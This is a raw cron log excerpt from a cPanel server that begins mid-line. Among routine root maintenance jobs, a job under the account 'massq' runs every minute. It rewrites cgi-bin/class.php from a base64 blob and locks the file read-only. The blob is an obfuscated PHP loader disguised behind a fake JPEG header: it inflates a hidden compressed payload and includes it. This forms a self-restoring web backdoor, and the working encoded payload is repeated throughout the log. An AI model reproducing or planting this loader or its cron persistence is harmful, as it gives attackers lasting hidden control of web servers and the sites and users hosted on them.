--decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:22:01 server CROND[4574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:22:01 server CROND[4573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:22:01 server CROND[4575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:23:01 server CROND[4942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:23:01 server CROND[4943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:23:01 server CROND[4941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:24:02 server CROND[5313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:24:02 server CROND[5314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:24:02 server CROND[5315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:25:01 server CROND[5694]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 11:25:01 server CROND[5699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:25:01 server CROND[5700]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:25:01 server CROND[5707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:25:01 server CROND[5708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:25:01 server CROND[5706]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 11:25:01 server CROND[5709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:26:01 server CROND[6622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:26:01 server CROND[6621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:26:01 server CROND[6623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:27:01 server CROND[6991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:27:01 server CROND[6993]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 11:27:01 server CROND[6994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:27:01 server CROND[6992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:28:01 server CROND[7371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:28:01 server CROND[7372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:28:01 server CROND[7373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:29:01 server CROND[7747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:29:01 server CROND[7748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:29:01 server CROND[7749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:30:01 server CROND[8156]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 11:30:01 server CROND[8157]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 11:30:01 server CROND[8158]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:30:01 server CROND[8161]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 11:30:01 server CROND[8163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:30:01 server CROND[8162]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:30:01 server CROND[8165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:30:01 server CROND[8160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:31:01 server CROND[9081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:31:01 server CROND[9080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:31:01 server CROND[9082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:32:01 server CROND[9452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:32:01 server CROND[9453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:32:01 server CROND[9454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:33:01 server CROND[9817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:33:01 server CROND[9818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:33:01 server CROND[9819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:34:01 server CROND[10245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
